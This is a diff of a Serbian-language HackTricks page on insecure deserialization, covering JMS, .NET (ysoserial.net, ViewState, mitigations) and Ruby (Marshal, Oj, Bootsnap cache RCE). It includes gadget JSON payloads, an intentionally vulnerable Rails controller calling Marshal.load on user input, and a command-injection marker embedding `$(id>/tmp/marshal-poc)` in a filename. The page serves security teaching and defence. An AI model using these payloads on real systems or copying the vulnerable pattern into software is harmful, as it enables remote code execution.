> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom koju je razvila Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Proizvodi
|
||||
|
||||
@ -662,7 +662,7 @@ Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
|
||||
|
||||
### Eksploatacija
|
||||
|
||||
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
|
||||
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da šaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
|
||||
To znači da će u ovoj eksploataciji svi **klijenti koji će koristiti tu poruku biti zaraženi**.
|
||||
|
||||
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći važeće gadgete da biste iskoristili ranjivost.
|
||||
@ -693,7 +693,7 @@ Fokus treba biti na serijalizatorima koji omogućavaju da se tip odredi pomoću
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji treba deserializovati. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
|
||||
Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao proći deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
@ -711,7 +711,7 @@ Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--outp
|
||||
#### Više ysoserial.net parametara
|
||||
|
||||
- `--minify` će pružiti **manji payload** (ako je moguće)
|
||||
- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatter-om (`Json.Net` u ovom slučaju)
|
||||
- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatterom (`Json.Net` u ovom slučaju)
|
||||
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje se po velikim i malim slovima)
|
||||
|
||||
**ysoserial primeri** za kreiranje eksploatacija:
|
||||
@ -748,7 +748,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
To znači da će kod pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) kako bi testirao exploit.
|
||||
To znači da će kod pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) kako bi testirao eksploataciju.
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -760,7 +760,7 @@ return obj;
|
||||
}
|
||||
```
|
||||
U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno i ta aplikacija ranjiva.\
|
||||
Zato **`--test`** parametar nam omogućava da razumemo **koji delovi koda su ranjivi** na exploit deserializacije koji **ysoserial.net** može stvoriti.
|
||||
Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na exploit deserializacije koji **ysoserial.net** može stvoriti.
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -774,7 +774,7 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
|
||||
- **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`.**
|
||||
- **Ograničite tipove koji mogu biti deserializovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može modifikovati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.
|
||||
- **Budite oprezni sa tipovima koji imaju rizična svojstva**, kao što je `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
|
||||
- **Budite oprezni sa tipovima koji imaju rizična svojstva**, poput `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
|
||||
- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim.
|
||||
- **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
|
||||
- **Budite informisani o poznatim nesigurnim deserializacijskim gadgetima** unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.
|
||||
@ -791,7 +791,7 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
|
||||
|
||||
U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar **marshal** biblioteke. Prva metoda, poznata kao **dump**, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, **load**, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.
|
||||
|
||||
Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu se čuva na jednom od nekoliko mogućih mesta:
|
||||
Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu čuva se na jednom od nekoliko mogućih mesta:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -908,17 +908,17 @@ Proverite kako bi moglo biti moguće da [zagađujete Ruby klasu i zloupotrebljav
|
||||
|
||||
### Ruby _json pollution
|
||||
|
||||
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novi ključ pod nazivom `_json`. Međutim, napadač može takođe postaviti u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim koristi `_json` parametar za izvršavanje neke akcije, mogla bi se izvršiti zaobilaženje autorizacije.
|
||||
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar da izvrši neku akciju, moglo bi doći do zaobilaženja autorizacije.
|
||||
|
||||
Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollution.md).
|
||||
Proverite više informacija na [stranici Ruby _json pollution](ruby-_json-pollution.md).
|
||||
|
||||
### Other libraries
|
||||
|
||||
Ova tehnika je preuzeta[ **iz ovog blog posta**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje se stoga mogu zloupotrebiti za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada god se deserializuje (funkcija koja se zloupotrebljava za dobijanje RCE):
|
||||
Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje se stoga mogu zloupotrebiti za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju učitane biblioteke kada se deserializuju (funkcija koja se zloupotrebljava za dobijanje RCE):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash(map) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash(map) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash(map) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Basic example:
|
||||
```ruby
|
||||
@ -942,7 +942,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je omogućilo da se dohvati nasumična URL adresa, pružajući odličan detektor ovih vrsta nesanitizovanih ranjivosti u deserializaciji.
|
||||
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći klasu gadget koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je omogućilo da se dohvati nasumična URL adresa, pružajući odličan detektor ovih vrsta nesanitizovanih ranjivosti deserializacije.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -976,11 +976,11 @@ Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira fold
|
||||
}
|
||||
}
|
||||
```
|
||||
Proverite više detalja u [**originalnom postu**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Nije baš ranjivost deseralizacije, ali je lep trik za zloupotrebu bootstrap keširanja kako bi se dobio RCE iz Rails aplikacije sa arbitrarnim pisanjem fajlova (pronađite kompletan [originalni post ovde](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Nije baš ranjivost deseralizacije, ali je lep trik za zloupotrebu bootstrap keširanja kako bi se dobio RCE iz Rails aplikacije sa arbitrarnim pisanjem fajlova (pronađite kompletnu [originalnu objavu ovde](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Ispod je kratak pregled koraka detaljno opisan u članku za iskorišćavanje ranjivosti arbitrarnog pisanja fajlova zloupotrebom Bootsnap keširanja:
|
||||
|
||||
@ -998,19 +998,69 @@ Napadač prvo bira ciljni fajl koji će verovatno biti učitan tokom pokretanja
|
||||
|
||||
- Izračunajte Putanju Keš Fajla
|
||||
|
||||
Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se ispravna putanja keš fajla. Ovaj korak osigurava da je maliciozni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se ispravna putanja keš fajla. Ovaj korak osigurava da je zlonamerni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Kreirajte Maliciozni Keš Fajl
|
||||
- Kreirajte Zlonamerni Keš Fajl
|
||||
|
||||
Napadač priprema payload koji:
|
||||
|
||||
- Izvršava arbitrane komande (na primer, pokreće id da prikaže informacije o procesu).
|
||||
- Uklanja maliciozni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
|
||||
- Uklanja zlonamerni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
|
||||
- Učitava originalni fajl (npr. set.rb) kako bi izbegao rušenje aplikacije.
|
||||
|
||||
Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim zaglavljem keš ključa (koristeći prethodno prikupljene metapodatke i ispravnu verziju za Bootsnap).
|
||||
|
||||
- Prepišite i Pokrenite Izvršenje
|
||||
Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, maliciozni keš fajl se učitava, što rezultira daljinskim izvršenjem koda (RCE).
|
||||
Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, zlonamerni keš fajl se učitava, što rezultira daljinskim izvršenjem koda (RCE).
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
Tretirajte svaku putanju gde neprovereni bajtovi dolaze do `Marshal.load`/`marshal_load` kao RCE odredište. Marshal rekonstruiše arbitrane grafove objekata i pokreće biblioteke/gem callback-ove tokom materijalizacije.
|
||||
|
||||
- Minimalna ranjiva Rails kod putanja:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
user_data = params[:data]
|
||||
if user_data.present?
|
||||
deserialized_user = Marshal.load(Base64.decode64(user_data))
|
||||
render plain: "OK: #{deserialized_user.inspect}"
|
||||
else
|
||||
render plain: "No data", status: :bad_request
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
- Uobičajene klase gadgeta viđene u stvarnim lancima: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Tipičan marker sporednog efekta ugrađen u payload-e (izvršava se tokom unmarshal):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
Gde se pojavljuje u pravim aplikacijama:
|
||||
- Rails cache skladišta i skladišta sesija istorijski koristeći Marshal
|
||||
- Pozadine poslova i skladišta objekata sa fajlovima
|
||||
- Bilo koja prilagođena perzistencija ili transport binarnih objekata
|
||||
|
||||
Industrijalizovano otkrivanje gedžeta:
|
||||
- Grep za konstruktore, `hash`, `_load`, `init_with`, ili metode sa sporednim efektima pozvane tokom unmarshal
|
||||
- Koristite CodeQL-ove Ruby nesigurne deserializacione upite za praćenje izvora → odredišta i otkrivanje gedžeta
|
||||
- Validirajte sa javnim multi-format PoC-ima (JSON/XML/YAML/Marshal)
|
||||
|
||||
## Reference
|
||||
|
||||
- Trail of Bits – Marshal ludilo: Kratak pregled Ruby deserializacionih eksploatacija: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Univerzalni RCE Deserialization Gadget Lanac: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal lanac: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 nesigurna deserializacija): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE putem Ruby on Rails Active Storage nesigurne deserializacije: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Otkriće lanaca gedžeta u Rubylandu: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby nesigurna deserializacija (pomoć za upit): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoC repozitorijum: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gedžet: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 univerzalni lanac: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal bekstvo: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 izdanje: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby popravka PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Revizija RubyGems.org (Marshal nalazi): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user